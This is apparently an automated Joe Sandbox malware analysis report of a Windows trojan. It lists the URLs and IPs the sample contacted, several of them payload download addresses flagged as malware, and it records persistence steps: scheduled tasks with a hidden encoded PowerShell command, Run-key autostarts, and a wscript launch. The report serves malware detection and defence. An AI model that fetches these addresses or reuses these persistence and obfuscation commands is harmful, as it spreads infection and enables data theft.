http://194.58.114.223/d/525403C:	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrC:	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.232.86/api/crazyfish.phpj:l	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exe	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14E	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14dllmonc	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.176.190.4165	MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14URE=	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mcrogers.com/StyleControls%20VCL.exes?	3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://protobuf.dev/reference/go/faq#namespace-conflictnot	3QKcKCEzYP.exe, 00000000.00000003.2321421770.000002404738C000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2304131797.0000024046942000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2328096357.0000024045DBC000.00000004.00000020.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2657332261.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp	false	Avira URL Cloud: safe	unknown
https://yip.su:443/1cN8u7gl	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D91000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ipinfo.io/	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043008000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66c2d861a5b4d_google.exexe#14otram	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14K	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails	3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://194.58.114.223/d/525403mx/	3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails/History	3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/8.46.123.33	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043008000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails	3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/golang/prot	yZBxqqQICO50PLfWYKwJeSL5.exe	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-netJ	6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c2d861a5b4d_google.exehK	3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.myip.com/P	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042F98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/e.exe#space	3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.176.190.41/V5	MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://yip.su/	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D9D000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FE9000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://siscorp.mx/jaliwYuqe.exe#space6/H	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/	3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D9D000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.232.86/.exe	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DAD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails/History	3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.232.86:80/api/twofish.php	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D91000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://yip.su/H	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D9D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr/~	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.openssl.org/support/faq.html	MrBEu6cm6HagE9yrmXV8x4AG.exe, 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotr-	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mcrogers.com/StyleControls%20VCL.exeK	3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	MrBEu6cm6HagE9yrmXV8x4AG.exe, 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-neti	6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2650909411.0000000005E40000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004742000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrOMAIN_RO	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://siscorp.mx/	3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c2d861a5b4d_google.exe82	3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://siscorp.mx:80/kleiseIche.exe#space7	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mcrogers.com/StyleControls%20VCL.exe;	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://194.58.114.223/d/525403x	3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exeModule	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.176.190.41/2fa883eebd632382.phpm	MSBuild.exe, 0000000B.00000002.2407758499.00000000015C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.discordapp.com/$K	3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
194.58.114.223	unknown	Russian Federation	197695	AS-REGRU	false
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
193.233.232.86	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.96.3	yip.su	European Union	13335	CLOUDFLARENETUS	true
193.176.190.41	unknown	unknown	207451	AGROSVITUA	true
162.241.63.30	siscorp.mx	United States	46606	UNIFIEDLAYER-AS-1US	false
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
162.241.203.25	mcrogers.com	United States	26337	OIS1US	false
172.67.75.163	api.myip.com	United States	13335	CLOUDFLARENETUS	false
147.45.47.57	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1496361
Start date and time:	2024-08-21 08:31:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	67
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3QKcKCEzYP.exe renamed because original name is a hash value
Original Sample Name:	7db3e0a15ff5d498fd56aab3ceb8b968.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.evad.mine.winEXE@107/29@33/11
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 61% Number of executed functions: 256 Number of non-executed functions: 57
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 40.115.3.253, 20.114.59.183, 192.229.221.95, 20.242.39.171, 13.95.31.18, 93.184.221.240, 20.189.173.21, 142.250.185.138, 142.250.185.106, 142.250.181.234, 142.250.185.202, 216.58.212.170, 142.250.186.138, 142.250.186.74, 142.250.184.202, 142.250.185.74, 142.250.185.234, 142.250.185.170, 172.217.18.106, 172.217.16.138, 216.58.206.42, 142.250.186.170, 142.250.184.234, 216.58.206.78, 23.60.201.147, 23.218.17.75, 20.190.159.75, 20.190.159.64, 40.126.31.73, 40.126.31.67, 20.190.159.4, 40.126.31.69, 20.190.159.71, 40.126.31.71, 20.189.173.22, 40.113.110.67
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, onedsblobprdwus17.westus.cloudapp.azure.com, wu.azureedge.net, cdn.onenote.net.edgekey.net, wns.notify.trafficmanager.net, clients2.google.com, ocsp.digicert.com, wildcard.weather.microsoft.com.edgekey.net, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, onedsblobprdwus16.westus.cloudapp.azure.com, cdn.onenote.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, client.wns.windows.com, prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, e15275.d.akamaiedge.net, wu.ec.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, www.googleapis.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, blobcollector.events.data.trafficmanager.net, e1553.dspg.akamaie
Execution Graph export aborted for target 3QKcKCEzYP.exe, PID 4032 because there are no executed function
Execution Graph export aborted for target yZBxqqQICO50PLfWYKwJeSL5.exe, PID 6792 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:32:28	API Interceptor	1x Sleep call for process: zVS6xq86P4Kl0c26CfULXfv4.exe modified
02:32:32	API Interceptor	6x Sleep call for process: powershell.exe modified
02:32:34	API Interceptor	1x Sleep call for process: WMIC.exe modified
08:32:36	Task Scheduler	Run new task: bhigQxvKbgfszOKTET path: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe s>kd /CVdidr 525403 /S
08:32:43	Task Scheduler	Run new task: grancnnTe path: powershell s>-WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
08:32:47	Task Scheduler	Run new task: Test Task17 path: C:\ProgramData\lemih\joki.exe
08:32:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run afasdfga C:\Users\user\AppData\Roaming\afasdfga.exe
08:32:55	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\12772fa3-47e5-4a51-b081-bd53c4f5dd56\MrBEu6cm6HagE9yrmXV8x4AG.exe s>--Task
08:32:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\12772fa3-47e5-4a51-b081-bd53c4f5dd56\MrBEu6cm6HagE9yrmXV8x4AG.exe" --AutoStart
08:33:00	Task Scheduler	Run new task: AmBibxgXchhQaKreM path: C:\Windows\Temp\ENBwaAVbkgpfdooz\NzUyjWzytnVHFCs\TXsWOnq.exe s>1p /wPjmdidMI 525403 /S
08:33:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run afasdfga C:\Users\user\AppData\Roaming\afasdfga.exe
08:33:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\12772fa3-47e5-4a51-b081-bd53c4f5dd56\MrBEu6cm6HagE9yrmXV8x4AG.exe" --AutoStart
08:33:17	Task Scheduler	Run new task: UFIgxUCNRgUvE2 path: C:\Windows\system32\forfiles.exe s>/p C:\Windows\system32 /m wscript.exe /c "cmd /C @FNAME ^"C:\ProgramData\UlrUiuuClFtgItVB\RnIdDHK.wsf^""

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
194.58.114.223	file.exe	Get hash	malicious	Cryptbot	Browse	194.58.114.223/d/385104
	file.exe	Get hash	malicious	Cryptbot	Browse	194.58.114.223/d/385104
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	194.58.114.223/d/525403
	file.exe	Get hash	malicious	DarkTortilla, Neoreklami	Browse	194.58.114.223/d/385121
	SecuriteInfo.com.Trojan.Inject5.6732.13710.8794.exe	Get hash	malicious	Cryptbot, Neoreklami	Browse	194.58.114.223/d/385104
	FySc2FzpA8.exe	Get hash	malicious	Go Injector	Browse	194.58.114.223/d/525403
162.159.130.233	Cheat.Lab.2.7.2.msi	Get hash	malicious	RedLine, zgRAT	Browse	cdn.discordapp.com/attachments/1194585859404599367/1194585905420320788/2
	BpOyVCAP8g.msi	Get hash	malicious	LummaC Stealer	Browse	cdn.discordapp.com/attachments/1179749162376499230/1179749438646919228/9
	Cheat.Lab.2.7.1.msi	Get hash	malicious	RedLine	Browse	cdn.discordapp.com/attachments/1166694372084027482/1169541101917577226/2.txt
	QUOTATION_SEPT9FIBA00541#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, AveMaria	Browse	cdn.discordapp.com/attachments/1152164172566630421/1153181081793732809/Hioaeztcmim.exe
	PO Details.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	cdn.discordapp.com/attachments/956928735397965906/1011525020427763732/KqRRf17.jpb
	quote.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	cdn.discordapp.com/attachments/956928735397965906/1011024921868116099/ljkfuP193.ttf
	MSQNZmmg2F.exe	Get hash	malicious	Vidar	Browse	cdn.discordapp.com/attachments/898638713985302540/898905970657345626/al.exe
	b7cwlpwH6S.exe	Get hash	malicious	Amadey RedLine SmokeLoader	Browse	cdn.discordapp.com/attachments/878382243242983437/878684457245220884/mrmoms.exe
	order-confirmation.doc__.rtf	Get hash	malicious	AgentTesla	Browse	cdn.discordapp.com/attachments/843685789120331799/847476783744811018/OtI.exe
	Order Confirmation.doc	Get hash	malicious	AgentTesla	Browse	cdn.discordapp.com/attachments/843685789120331799/847476783744811018/OtI.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool.hashvault.pro	file.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	gutpOKDunr.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	45.76.89.70
	file.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	SecuriteInfo.com.Win64.MalwareX-gen.11857.961.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	SecuriteInfo.com.FileRepMalware.3253.21057.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
	sc7Qi5VdE1.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse	95.179.241.203
	II.exe	Get hash	malicious	Xmrig	Browse	95.179.241.203
	E5r67vtBtc6.exe	Get hash	malicious	Xmrig	Browse	45.76.89.70
yip.su	Setup3.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	Cryptbot	Browse	188.114.97.3
	file.exe	Get hash	malicious	Cryptbot	Browse	188.114.97.3
	SecuriteInfo.com.W32.MSIL_Kryptik.EQI.gen.Eldorado.19106.7830.exe	Get hash	malicious	DarkTortilla	Browse	188.114.97.3
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	DarkTortilla	Browse	188.114.96.3
	file.exe	Get hash	malicious	DarkTortilla, Neoreklami	Browse	188.114.97.3
helsinki-dtc.com	setup.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	194.67.87.38
	file.exe	Get hash	malicious	DarkTortilla, Neoreklami	Browse	194.67.87.38
	Install.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	setup.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	Install.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	setup.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
	file.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	194.67.87.38
	setup.exe	Get hash	malicious	LummaC, Mars Stealer, PureLog Stealer, RedLine, Stealc, Stealerium, Vidar	Browse	194.67.87.38
	setup.exe	Get hash	malicious	Neoreklami	Browse	194.67.87.38
cdn.discordapp.com	ExeFile (274).exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	ExeFile (308).exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	ExeFile (308).exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	sz4ypfkelT.exe	Get hash	malicious	Unknown	Browse	162.159.133.233
	sz4ypfkelT.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	BALANCE PAYMENT.exe	Get hash	malicious	Unknown	Browse	162.159.129.233
	BALANCE PAYMENT.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	27256APPROVEDACHpmt187023OI2783764.js	Get hash	malicious	Unknown	Browse	162.159.134.233
	Monolith.exe	Get hash	malicious	Unknown	Browse	162.159.133.233
	file.exe	Get hash	malicious	Cryptbot	Browse	162.159.134.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
